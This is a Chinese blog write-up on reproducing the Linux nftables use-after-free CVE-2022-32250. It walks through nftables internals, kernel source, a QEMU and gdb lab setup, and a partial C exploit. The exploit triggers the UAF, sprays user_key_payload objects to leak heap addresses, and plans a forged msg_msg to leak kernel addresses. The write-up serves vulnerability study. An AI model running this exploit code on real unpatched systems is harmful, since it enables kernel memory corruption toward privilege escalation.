Table of Contents
学习了一段时间的 kernel pwn 之后,想去看看真实场景的 cve 是怎样的。看了一部分,有点太久了先咕咕咕,之后有时间再说…
nftables 介绍
分析这个 cve 的过程中遇到的比较大的阻碍是看分析源码比较晕,因为 nftables 不太熟悉。于是本文就从详细记录了一下利用命令行和 library 和 nftables 交互的方式,了解一个大致的结构和逻辑之后,看源码就轻松多了。
基本概念
nft 是命令行工具,用于在用户空间与 nftables 交互,它的基本使用可以查看: How to Use nftables | Linode Docs。这是一个 Linux 数据包分类框架,有表、链、规则几个概念。
table chain rule
table 是指没有特定语义的 chains 的容器。
table 内的 chain 是 rules 的容器。
rule 是要在 chain 中配置的操作。命令的例子比如:
创建一个表`inet-table`sudo nft add table inet inet-table
创建用于过滤传出数据包的链`output-filter-chain`sudo nft add chain inet inet-table output-filter-chain '{ type filter hook output priority 0; }'
向链中添加一条规则,用于对发往`8.8.8.8`的数据包进行计数sudo nft add rule inet inet-table output-filter-chain ip daddr 8.8.8.8 counter
创建另一条链,该链用于过滤传入数据包,并向其添加一条规则以对目标端口3030 的TCP 数据包进行计数。sudo nft add chain inet inet-table input-filter-chain '{ type filter hook input priority 0; }'sudo nft add rule inet inet-table input-filter-chain tcp dport 3030 counterexpression and register
rules 包含多个 expression 的操作。register 用于存放满足条件的数据包或者数据。比如下面这个规则,匹配所有源IP地址为 192.168.1.100 且连接状态为新连接的流量,并使用 register set @1 ip saddr 将源IP地址存储到寄存器 @1 中。
nft add rule ip filter input ip saddr 192.168.1.100 ct state new counter register set @1 ip saddr每个 expression 创建一个 nft_expr_type 结构,成员包括:
- flags:表达式的类型
- ops :每个表达式类型有不同的功能,具体定义了如何解析、执行或评估该类型的表达式。
- name 等等。
struct nft_expr_type { const struct nft_expr_ops *(*select_ops)(const struct nft_ctx *, const struct nlattr * const tb[]); const struct nft_expr_ops *ops; struct list_head list; const char *name; struct module *owner; const struct nla_policy *policy; unsigned int maxattr; u8 family; u8 flags;};flags 的类型有:
#define NFT_EXPR_STATEFUL 0x1#define NFT_EXPR_GC 0x2nft_set
提供了一种高效的方式来管理和查询一组元素(如 IP 地址、端口号、网络等)
sudo nft add table ip filter# 创建一个名为 blocklist 的 nft_setsudo nft add set ip filter blocklist { type ipv4_addr; flags dynamic; }
# 向 blocklist 集合中添加禁止的 IP 地址sudo nft add element ip filter blocklist { 192.168.1.10, 10.0.0.1 }
# 创建一条规则,丢弃来自 blocklist 集合中 IP 地址的流量sudo nft add rule ip filter input ip saddr @blocklist drop在规则里面可以引用 set 来表示查询数据是否属于这个集合。对这个结构,有一些操作是可以使用的,比如说 lookup 这个方法用于在网络包到达的时查询数据是不是在一个 sets 中。
/** * struct nft_set_ops - nf_tables set operations * * @lookup: look up an element within the set * @update: update an element if exists, add it if doesn't exist * @delete: delete an element * @insert: insert new element into set * @activate: activate new element in the next generation * @deactivate: lookup for element and deactivate it in the next generation * @flush: deactivate element in the next generation * @remove: remove element from set * @walk: iterate over all set elements * @get: get set elements * @privsize: function to return size of set private data * @init: initialize private data of new set instance * @destroy: destroy private data of set instance * @elemsize: element private size * * Operations lookup, update and delete have simpler interfaces, are faster * and currently only used in the packet path. All the rest are slower, * control plane functions. */struct nft_set_ops { bool (*lookup)(const struct net *net, const struct nft_set *set, const u32 *key, const struct nft_set_ext **ext); bool (*update)(struct nft_set *set, const u32 *key, void *(*new)(struct nft_set *, const struct nft_expr *, struct nft_regs *), const struct nft_expr *expr, struct nft_regs *regs, const struct nft_set_ext **ext); bool (*delete)(const struct nft_set *set, const u32 *key);
int (*insert)(const struct net *net, const struct nft_set *set, const struct nft_set_elem *elem, struct nft_set_ext **ext); void (*activate)(const struct net *net, const struct nft_set *set, const struct nft_set_elem *elem); void * (*deactivate)(const struct net *net, const struct nft_set *set, const struct nft_set_elem *elem); bool (*flush)(const struct net *net, const struct nft_set *set, void *priv); void (*remove)(const struct net *net, const struct nft_set *set, const struct nft_set_elem *elem); void (*walk)(const struct nft_ctx *ctx, struct nft_set *set, struct nft_set_iter *iter); void * (*get)(const struct net *net, const struct nft_set *set, const struct nft_set_elem *elem, unsigned int flags);
u64 (*privsize)(const struct nlattr * const nla[], const struct nft_set_desc *desc); bool (*estimate)(const struct nft_set_desc *desc, u32 features, struct nft_set_estimate *est); int (*init)(const struct nft_set *set, const struct nft_set_desc *desc, const struct nlattr * const nla[]); void (*destroy)(const struct nft_set *set); void (*gc_init)(const struct nft_set *set);
unsigned int elemsize;};lookup 结构体有个成员是 binding,有一个双链结构(如果有多个 lookup 就串成双链表)
struct nft_lookup { struct nft_set *set; u8 sreg; u8 dreg; bool invert; struct nft_set_binding binding;};
struct nft_set_binding { struct list_head list; const struct nft_chain *chain; u32 flags;};比如文章中这个图片就很清晰:
nft_dynset
和 set 不同的是,dynset 可以有动态的 update 或者 add 操作
connlimt
特殊的用于计数的 expr
c 语言 htfables 交互代码
在复现的过程中感觉直接看源码有一点吃力,所以先从交互的代码开始阅读。有一些例子可以看看: libnftnl-ct/examples at master · greearb/libnftnl-ct · GitHub
nft 操作 payload
增加一个 set
// 新增一个空 set payload s = nftnl_set_alloc(); if (s == NULL) { perror("OOM"); exit(EXIT_FAILURE); }
// 设置各种参数 nftnl_set_set_str(s, NFTNL_SET_TABLE, table); nftnl_set_set_str(s, NFTNL_SET_NAME, name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t)); /* inet service type, see nftables/include/datatypes.h */ nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13); nftnl_set_set_u32(s, NFTNL_SET_ID, 1);往 set 里面增加 element,数据在 data 里面
e = nftnl_set_elem_alloc(); if (e == NULL) { perror("OOM"); exit(EXIT_FAILURE); }
data = 0x1; nftnl_set_elem_set(e, NFTNL_SET_ELEM_KEY, &data, sizeof(data)); nftnl_set_elem_add(s, e);libmnl 的操作
我们使用 netlink 和 nftables 交互,libmnl是一个专为Netlink通信设计的C语言库。netlink 可以理解成 ioctl 的升级版本。使用 NETLINK_NETFILTER 子协议开启一个 socket 和 nftable 交互:
// 打开和 nftables 的连接 nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); }// 把进程(pid)绑定到某一个 group 上面,0 表示所有消息 if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); }多条消息可以批量合并到一个数据报中,用过调用 mnl_nlmsg_batch_start() 开启批处理,mnl_nlmsg_batch_stop() 释放它。调用 mnl_nlmsg_batch_next() 才能为批处理中的新消息获取空间。这些函数查看文档:mnl_nlmsg_batch_start(3) — libmnl-doc — Debian experimental — Debian Manpages
seq = time(NULL); // 初始化 batch batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
// 初始化 nftables 的批量操作 nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
// 推进消息 mnl_nlmsg_batch_next(batch);在 batch 里面构造消息,NFT_MSG_NEWSET 这个命令用来新增 set,也是漏洞点相关的命令
// nftnl_nlmsg_build_hdr 函数用来在批处理中构造一个 header。这个消息是 NFT_MSG_NEWSET,创建一个 set nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE|NLM_F_ACK, seq++); // 将集合元素的有效载荷(payload)填充到 Netlink 消息中。s 是预先准备好的 set payload nftnl_set_elems_nlmsg_build_payload(nlh, s); // 用完了,释放 s nftnl_set_free(s); // 推进批次指针,准备处理下一个 Netlink 消息。 mnl_nlmsg_batch_next(batch);向 nftables 发送消息接收消息
// 获取 portid portid = mnl_socket_get_portid(nl);
// 一次性发送消息 if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { perror("mnl_socket_send"); exit(EXIT_FAILURE); }
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); while (ret > 0) { // 回调函数解析消息 ret = mnl_cb_run(buf, ret, 0, portid, NULL, NULL); if (ret <= 0) break; ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); }漏洞相关的函数分析
nf_tables_newset
如果这个新增的 set 里面含有 expr,那么就会进入这样的一个分支,nft_set_elem_expr_alloc 分配一下相应的 expr
// nf_tables_newset 函数:if (nla[NFTA_SET_EXPR]) { expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); if (IS_ERR(expr)) { err = PTR_ERR(expr); goto err_set_alloc_name; } set->exprs[0] = expr; set->num_exprs++;nft_set_elem_expr_alloc
会调用 nft_set_elem_expr_alloc 函数,函数里面 nft_expr_init,初始化 expr 。如果在这个函数中处理发生错误,error 了,那就会跳转到处理的地方 err_set_elem_expr:
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx, const struct nft_set *set, const struct nlattr *attr){ struct nft_expr *expr; int err;
// 初始化 expr = nft_expr_init(ctx, attr); if (IS_ERR(expr)) return expr;
err = -EOPNOTSUPP; // 如果没有设置 NFT_EXPR_STATEFUL if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) goto err_set_elem_expr;
if (expr->ops->type->flags & NFT_EXPR_GC) { if (set->flags & NFT_SET_TIMEOUT) goto err_set_elem_expr; if (!set->ops->gc_init) goto err_set_elem_expr; set->ops->gc_init(set); }
return expr;
// 如果错误就会 nft_expr_destroyerr_set_elem_expr: nft_expr_destroy(ctx, expr); return ERR_PTR(err);}nft_expr_init
nft_expr_init 中调用 nf_tables_newexpr
err = nf_tables_expr_parse(ctx, nla, &info); if (err < 0) goto err1;
err = -ENOMEM; expr = kzalloc(info.ops->size, GFP_KERNEL); if (expr == NULL) goto err2;
err = nf_tables_newexpr(ctx, &info, expr); // herenf_tables_newexpr 实际上使用 ops->init 函数来操作,不同 type 的 expr 有不同的 ops 和 ops->init 函数
static int nf_tables_newexpr(const struct nft_ctx *ctx, const struct nft_expr_info *info, struct nft_expr *expr){ const struct nft_expr_ops *ops = info->ops; int err;
expr->ops = ops; if (ops->init) { err = ops->init(ctx, expr, (const struct nlattr **)info->tb); if (err < 0) goto err1; }nft_lookup_init
对于 lookup 类型的 ops->init 是 nft_lookup_init,会把这个 expr 和 set 进行 binding,也就是双链连在一起
static int nft_lookup_init(const struct nft_ctx *ctx, const struct nft_expr *expr, const struct nlattr * const tb[]){ struct nft_lookup *priv = nft_expr_priv(expr); u8 genmask = nft_genmask_next(ctx->net); struct nft_set *set; u32 flags; int err;
if (tb[NFTA_LOOKUP_SET] == NULL || tb[NFTA_LOOKUP_SREG] == NULL) return -EINVAL;
// 找到对应的set set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET], tb[NFTA_LOOKUP_SET_ID], genmask); ··· // 各种初始化
priv->binding.flags = set->flags & NFT_SET_MAP; //调用 nf_tables_bind_set() 进行绑定 <---- 将 expression 绑定到 nft_set err = nf_tables_bind_set(ctx, set, &priv->binding);nf_tables_bind_set
binding 的部分是这样:
// nf_tables_bind_set 函数中
bind: binding->chain = ctx->chain; list_add_tail_rcu(&binding->list, &set->bindings); nft_set_trans_bind(ctx, set); set->use++;
return 0;}==所以问题其实在于,当新增一个含有 nft_lookup expr 的 set。如果 expr 被 bind 到 set 之后,这个 expr 设置失败,会被释放,但是 bind 双链并没有解开,那么下一次的双链操作(比如 set 插入新的 expr),就会影响到已经被释放但还是 binding 的“expr”。造成 uaf。==
list_add_tail_rcu
上链的操作是通过 list_add_tail_rcu(&binding->list, &set->bindings); 来完成的,优化之后大概是这个样子。
► 82 new->next = next; 83 new->prev = prev; 84 rcu_assign_pointer(list_next_rcu(prev), new); 85 next->prev = new; 86 }调试环境搭建
之前都直接用 qemu + gdb,没用过 kgdb 来调试,按照这个 kgdb调试linux内核以及驱动模块 — 主页) 教的尝试一下。 kgdb 是一种被动调试,不好暂停,而且在新版本的 gdb 连接会有奇怪的问题,所以还是直接 gdb 直接连 qemu 吧。
内核准备
- Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022)
- Ubuntu <= 22.04 before security patch 我从这里拿源码链接,这个 commit 是 patch 的 commit 的 parent。
命令 make nconfig 开启菜单,找到 Networking Support > Networking Option > Network Packet Filtering Framework > Core Netfilter Configuration,把所有和 nf_tables 的选项勾选,和 nf_tables 没关系的选项不点了(这里弄得有一点晕,我来回调整了几次 config 才把 nf_tables 的模块弄进内核)
.config - Linux/x86 5.12.0 Kernel Configuration ┌── Core Netfilter Configuration ────────────────────────────────────────────────────────────┐ │ │ │ < > NetBIOS name service protocol support │ │ <*> SIP protocol support │ │ <*> Connection tracking netlink interface │ │ [*] NFQUEUE and NFLOG integration with Connection Tracking │ │ {*} Network Address Translation support │ │ <M> Netfilter nf_tables support │ │ [*] Netfilter nf_tables mixed IPv4/IPv6 tables support │ │ [*] Netfilter nf_tables netdev tables support │ │ <M> Netfilter nf_tables number generator module │ │ <M> Netfilter nf_tables conntrack module │ │ <M> Netfilter nf_tables hardware flow offload module │ │ <M> Netfilter nf_tables counter module │ │ <M> Netfilter nf_tables log module │ │ <M> Netfilter nf_tables limit module │ │ <M> Netfilter nf_tables masquerade support │ │ <M> Netfilter nf_tables redirect support │ │ <M> Netfilter nf_tables nat module │ │ <M> Netfilter nf_tables tunnel module │ │ <M> Netfilter nf_tables stateful object reference module │ │ <M> Netfilter nf_tables quota module │ │ <M> Netfilter nf_tables reject support │ │ <M> Netfilter x_tables over nf_tables module │ │ │ │ │ └F1Help─F2SymInfo─F3Help 2─F4ShowAll─F5Back─F6Save─F7Load─F8SymSearch─F9Exit─────────────────┘菜单之后直接保存退出。保存设置退出后,配置会保存在 然后进入Kernel Hacking,确保勾选上Kernel debuging选项。.config 文件中。直接编辑这个文件比起菜单更方便一些。
此外还要打开 CONFIG_USER_NS
如果使用新版 gcc 编译旧版本内核需要安装 gcc-11 设置 gcc 版本,make -j8 HOSTCC=gcc-11 CC=gcc-11。
然后编译结果在 arch/x86/boot/bzImage。
在编译的时候可以看见这些输出:
LD [M] drivers/thermal/intel/x86_pkg_temp_thermal.ko LD [M] fs/efivarfs/efivarfs.ko LD [M] net/ipv4/netfilter/iptable_nat.ko LD [M] net/ipv4/netfilter/nf_socket_ipv4.ko LD [M] net/ipv4/netfilter/nf_tproxy_ipv4.ko LD [M] net/ipv4/netfilter/nft_reject_ipv4.ko LD [M] net/ipv6/netfilter/nf_socket_ipv6.ko LD [M] net/ipv6/netfilter/nf_tproxy_ipv6.ko LD [M] net/ipv6/netfilter/nft_reject_ipv6.ko LD [M] net/netfilter/nf_dup_netdev.ko LD [M] net/netfilter/nf_log_syslog.ko LD [M] net/netfilter/nft_chain_nat.ko LD [M] net/netfilter/nft_compat.ko LD [M] net/netfilter/nft_dup_netdev.ko LD [M] net/netfilter/nft_flow_offload.ko LD [M] net/netfilter/nft_fwd_netdev.ko LD [M] net/netfilter/nft_hash.ko LD [M] net/netfilter/nft_limit.ko LD [M] net/netfilter/nft_log.ko LD [M] net/netfilter/nft_masq.ko LD [M] net/netfilter/nft_nat.ko LD [M] net/netfilter/nft_objref.ko LD [M] net/netfilter/nft_quota.ko LD [M] net/netfilter/nft_redir.ko LD [M] net/netfilter/nft_reject.ko LD [M] net/netfilter/nft_reject_inet.ko LD [M] net/netfilter/nft_reject_netdev.ko LD [M] net/netfilter/nft_socket.ko LD [M] net/netfilter/nft_tproxy.ko LD [M] net/netfilter/nft_tunnel.ko LD [M] net/netfilter/nft_xfrm.ko LD [M] net/netfilter/xt_LOG.ko LD [M] net/netfilter/xt_mark.ko LD [M] net/netfilter/xt_nat.ko LD [M] net/netfilter/xt_MASQUERADE.ko LD [M] net/netfilter/xt_addrtype.kovmlinux 文件可以看见 nft 的符号:
[linux-commit-6c46] nm vmlinux | grep nft_table 15:56:59ffffffff81a19a80 t nft_table_disableffffffff81a19e90 t nft_table_lookup.part.0ffffffff82325ec0 d nft_table_policyffffffff81a17fd0 t nft_table_validate文件系统
wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2make menuconfig // Setttings 选中 Build static binary (no shared libs)make -j8make install接下来在 _install 文件夹下执行以创建一系列文件:
mkdir -p proc sys dev etc/init.d之后,在 rootfs 下(即 _install 文件夹下)编写以下 init 挂载脚本:
#!/bin/shecho "INIT SCRIPT"mkdir /tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs none /devmount -t debugfs none /sys/kernel/debugmount -t tmpfs none /tmpecho -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"setsid /bin/cttyhack setuidgid 1000 /bin/sh设置 init 脚本的权限,并将 rootfs 打包:
chmod +x ./init# 打包命令find . | cpio -o --format=newc > ../../rootfs.img# 解包命令# cpio -idmv < rootfs.img启动 qemu 的脚本:
qemu-system-x86_64 \ -m 64M \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \ -no-reboot \ -cpu kvm64,+smap,+smep \ -monitor /dev/null \ -initrd rootfs.img \ -net nic,model=virtio \ -net user \ -nographic -s -S在 gdb 启动的脚本里面设置源码和符号,就可以更方便调试了:
add-auto-load-safe-path /home/giacomo/kernel/linux-5.12/linuxfile /home/giacomo/kernel/linux-5.12/linux/vmlinuxsource /home/giacomo/kernel/linux-5.12/linux/vmlinux-gdb.pytarget remote 127.1:1234好耶。现在成功搭起来了!
exploit
本来想拿 GitHub - theori-io/CVE-2022-32250-exploit 来验证一下环境是不是搭好了。但其实 exp 里面的偏移是针对某个版本的,所以我随便找的一个版本的话,可能打不通的。所以干脆直接上手写吧
sudo apt-get install libmnl-dev libnftnl-dev// gcc 的链接是有顺序的,所以先 nftnl 再 mnlgcc exp.c -static -o exp -l nftnl -l mnl -w构造出来《新增含有 expr 的 set》操作 uaf
[!info] unshare a namespace
在过程中发现,
nf_tables_newset函数需要 uid 为 0 才能触发,可以用 unshare 创建一个新的命名空间,在这个命名空间里面可以让进程的 uid 为 0。
增加 set 的时候需要 table 已经建立。而且 lookup 的 expr 需要一个已有的 set。如果执行完成之后,有问题的 set 和对应的 expr 的关系是这个样子的
pwndbg> p set$16 = (struct nft_set *) 0xffff888003b22000
pwndbg> p binding$17 = (struct nft_set_binding *) 0xffff888003b71318
pwndbg> p *set$13 = { list = { next = 0xffff888003b222a8, prev = 0xffff888003b222a8 }, bindings = { next = 0xffff888003b71318, prev = 0xffff888003b71318 }, ...
pwndbg> p *binding$15 = { list = { next = 0xffff888003b71318, prev = 0xffff888003b71318 }, chain = 0x0 <fixed_percpu_data>, flags = 0}set 结构体的 bindings 字段里面的 next 和 prev 会指向了即将被释放的 expr。而释放的 expr 的 0x10 和 0x18 的位置写上了 set 的地址。
pwndbg> p *expr$23 = { ops = 0xffffffff823263e0 <nft_lookup_ops>, data = 0xffff888003b71308 ""}pwndbg> x/10gx 0xffff888003b713080xffff888003b71308: 0xffff888003b22000 0x00000000000000040xffff888003b71318: 0xffff888003b71318 0xffff888003b71318[!info] UAF write 怎么做的 再次使用
SET_EXPR功能,则会在已经释放的nft_expr后面再链接一个nft_expr,造成偏移0x18的uaf 写。根据list 操作的代码和本次参与运算的结构体,可以看出,该uaf写会篡改偏移为0x18 和偏移为0x20的两个字段指向另外两个堆地址。我们这里主要关注偏移0x18,会将其指向一个新的nft_expr(kmalloc-64)的偏移0x18处。
利用 user_key_payload 来泄露堆地址
什么是 user_key_payload
内核引入了 密钥保留服务(key retention service),用以在内核空间存储密钥以供其他服务使用。add_key 系统调用就是用来增加一个密钥 key 的。参数 payload 就是密钥的实际内容,会存放在 user_key_payload 结构体里面
NAME add_key - add a key to the kernel's key management facility
LIBRARY Standard C library (libc, -lc)
SYNOPSIS #include <keyutils.h>
key_serial_t add_key(const char *type, const char *description, const void payload[.plen], size_t plen, key_serial_t keyring);user_key_payload 这个结构体在这里分配(不过此时的 rcu_head rcu; 还没有分配)
int user_preparse(struct key_preparsed_payload *prep){ struct user_key_payload *upayload; size_t datalen = prep->datalen;
if (datalen <= 0 || datalen > 32767 || !prep->data) return -EINVAL;
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL); if (!upayload) return -ENOMEM;
/* attach the data */ prep->quotalen = datalen; prep->payload.data[0] = upayload; upayload->datalen = datalen; memcpy(upayload->data, prep->data, datalen);调用模板:
int key_alloc(char *description, char *payload, int payload_len){ return syscall(__NR_add_key,"user", description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING);}泄露地址
expr 分配的大小是 0x38 (四舍五入 0x40)
pwndbg> p/x expr_info.ops->size$4 = 0x38
expr = kzalloc(expr_info.ops->size, GFP_KERNEL_ACCOUNT);if (expr == NULL) goto err2;而 user_key_payload:
pwndbg> ptype upayloadtype = struct user_key_payload { struct callback_head rcu; unsigned short datalen; char data[];} *[!question] 虽然可以申请到同一个大小,但是不能恰好申请到之前的 expr 上面 申请一次,然后被释放
首先会在内核空间中分配 obj 1 与 obj2,分配 flag 为 `GFP_KERNEL`,用以保存 `description` (字符串,最大大小为 4096)、`payload` (普通数据,大小无限制)分配 obj3 保存 `description` ,分配 obj4 保存 `payload`,分配 flag 皆为 `GFP_KERNEL`释放 obj1 与 obj2,返回密钥 id不过,释放之后总有机会再次申请的,多来几次就可以了
目前为止的 exp
#include <arpa/inet.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <stddef.h> /* for offsetof */#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <sys/types.h>#include <time.h>
#include <linux/netfilter.h>#include <linux/netfilter/nf_tables.h>#include <linux/netfilter/nfnetlink.h>
#include <inttypes.h>#include <libmnl/libmnl.h>#include <libnftnl/expr.h>#include <libnftnl/rule.h>#include <libnftnl/set.h>#include <libnftnl/table.h>#include <linux/keyctl.h>#include <stdint.h>#include <sys/syscall.h>
#define KEY_SPRAY_SIZE 0x50
int key_id[KEY_SPRAY_SIZE];
uint64_t heap_addr;
void print_hex(char* name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void leak(char* buf, uint64_t buflen){ for (uint32_t i = 0; i < buflen; i += 8) { print_hex("key_content", *(uint64_t*)(buf + i)); }}
int key_alloc(char* description, char* payload, int payload_len){ return syscall(__NR_add_key, "user", description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING);}
int key_read(int keyid, char* buffer, size_t buflen){ return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);}
void spray_key_payload(){ char buf[0x40]; char buf_p[0x40]; for (int i = 0; i < KEY_SPRAY_SIZE; i++) { memset(buf, i+1, 0x28); memset(buf_p, i+0x28+i, 0x28); key_id[i] = key_alloc(buf, buf_p, 0x28); // description need to be different // printf("----> id:%d\n", key_id[i]); }}
void leak_heap_addr(){ char buf[0x40]; for (int i = 0; i < KEY_SPRAY_SIZE; i++) { key_read(key_id[i], buf, 0x28); if(buf[6] == (char)0xff) { // printf("----> id:%d\n", key_id[i]); // leak(buf, 0x28); heap_addr = *(uint64_t *) buf; printf("[+] leak "); print_hex("heap_addr", heap_addr); } }}
void setup_table_with_stable_set(struct mnl_socket* nl, const char* name){ uint8_t family = NFPROTO_IPV4; uint32_t ret; // init a table first, so that set can be bind to struct nftnl_table* table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, name); nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); // without table
struct nftnl_set* set_stable = nftnl_set_alloc(); nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, "set_stable"); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, 1);
char buf[MNL_SOCKET_BUFFER_SIZE * 2];
struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
struct nlmsghdr* nlh;
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch);
// add set_stable nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE | NLM_F_ACK, seq++); nftnl_set_nlmsg_build_payload(nlh, set_stable); nftnl_set_free(set_stable); mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (ret == -1) { perror("mnl_socket_sendto"); exit(EXIT_FAILURE); }
printf("[+] setting table %s and set\n", name);}
void setup_set_with_expr(struct mnl_socket* nl, const char* table, const char* name){ uint8_t family = NFPROTO_IPV4; struct nftnl_set* s; struct nftnl_expr* e; char buf[MNL_SOCKET_BUFFER_SIZE * 2]; struct mnl_nlmsg_batch* batch; struct nlmsghdr* nlh; uint32_t seq = time(NULL); int ret;
// init a set s = nftnl_set_alloc(); if (s == NULL) { perror("OOM"); exit(EXIT_FAILURE); }
nftnl_set_set_str(s, NFTNL_SET_TABLE, table); nftnl_set_set_str(s, NFTNL_SET_NAME, name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 1); /* inet service type, see nftables/include/datatypes.h */ nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
// init a expr e = nftnl_expr_alloc("lookup"); if (e == NULL) { perror("expr payload oom"); exit(EXIT_FAILURE); } nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); nftnl_set_add_expr(s, e);
// init a batch to send msg batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, s); nftnl_set_free(s); mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (ret == -1) { perror("mnl_socket_sendto"); exit(EXIT_FAILURE); }
printf("[+] setting set %s and expr\n", name);}
int main(){ struct mnl_socket* nl;
// socket to connect to NETLINK_NETFILTER nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); }
// bind socket to this pid if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); }
setup_table_with_stable_set(nl, "table1"); setup_table_with_stable_set(nl, "table2"); setup_table_with_stable_set(nl, "table3"); setup_table_with_stable_set(nl, "table4"); // set up a set with expr in it setup_set_with_expr(nl, "table1", "set1"); spray_key_payload(); // another set to cause uaf setup_set_with_expr(nl, "table1", "set2"); leak_heap_addr();}伪造 msg_msg 结构体泄露内核地址
[!note] msg_msg 结构体 可以进行近乎任意大小的对象分配。但是由于这个 CVE 只有 0x18 的写入,所以 msg_msg 不好利用,所以选用了
posix_msg_tree_node
mqueue 使用
使用 mq_open mq_send mq_recv 来打开、发送、接收 msg queue。demo:
#include <stdio.h>#include <string.h>
#include <mqueue.h>
#define QUEUE_NAME "/queue1"
int main(void){ mqd_t message_queue_id; unsigned int priority = 0; char message_text[100]; int status;
message_queue_id = mq_open(QUEUE_NAME, O_RDWR | O_CREAT | O_EXCL, S_IRWXU | S_IRWXG, NULL); if (message_queue_id == -1) { perror("Unable to create queue"); return 2; }
strcpy(message_text, "Hello world!");
status = mq_send(message_queue_id, message_text, strlen(message_text)+1, priority); if (status == -1) { perror("Unable to send message"); return 2; }
status = mq_close(message_queue_id); if (status == -1) { perror("Unable to close message queue"); return 2; }
return 0;}posix_msg_tree_node 结构
posix_msg_tree_node 管理多个 mqueue 的消息,其中的 msg_list.next 的偏移量为 0x18 。
struct posix_msg_tree_node { struct rb_node rb_node; struct list_head msg_list; int priority;};
struct rb_node { unsigned long __rb_parent_color; struct rb_node *rb_right; struct rb_node *rb_left;} __attribute__((aligned(sizeof(long))));构造 msg_msg 结构体来泄露内容
如果 uaf 发生,那么就会覆盖 msg_list->next 在下图的黄色区域伪造一个 msg_msg 结构体,这个 msg_msg 结构体会覆盖到下物理相邻的下面一个块。以及因为 copy_to_user() 中有 heap_check,会检查拷贝大小是否超出内存所在slab的大小,所以这里只能读取 data 的 0x10字节。
布置泄露信息的结构体
这个物理相邻的下一个块的内容可以通过 mq_timedreceive 来得知。所以要布置什么结构体呢?
- 目标对象的前8字节需为0:因为
mq_timedreceive调用会触发执行msg_free来释放msg_msg.security,所以目标对象的前 8 字节需要是 0 - 在 0x8 - 0x10 区域需要有一个指针。
还是选择了 user_key_payload 结构体,前8字节
user_key_payload->rcu->next正常为0,且第2个8字节为user_key_payload->rcu->func内核函数指针。
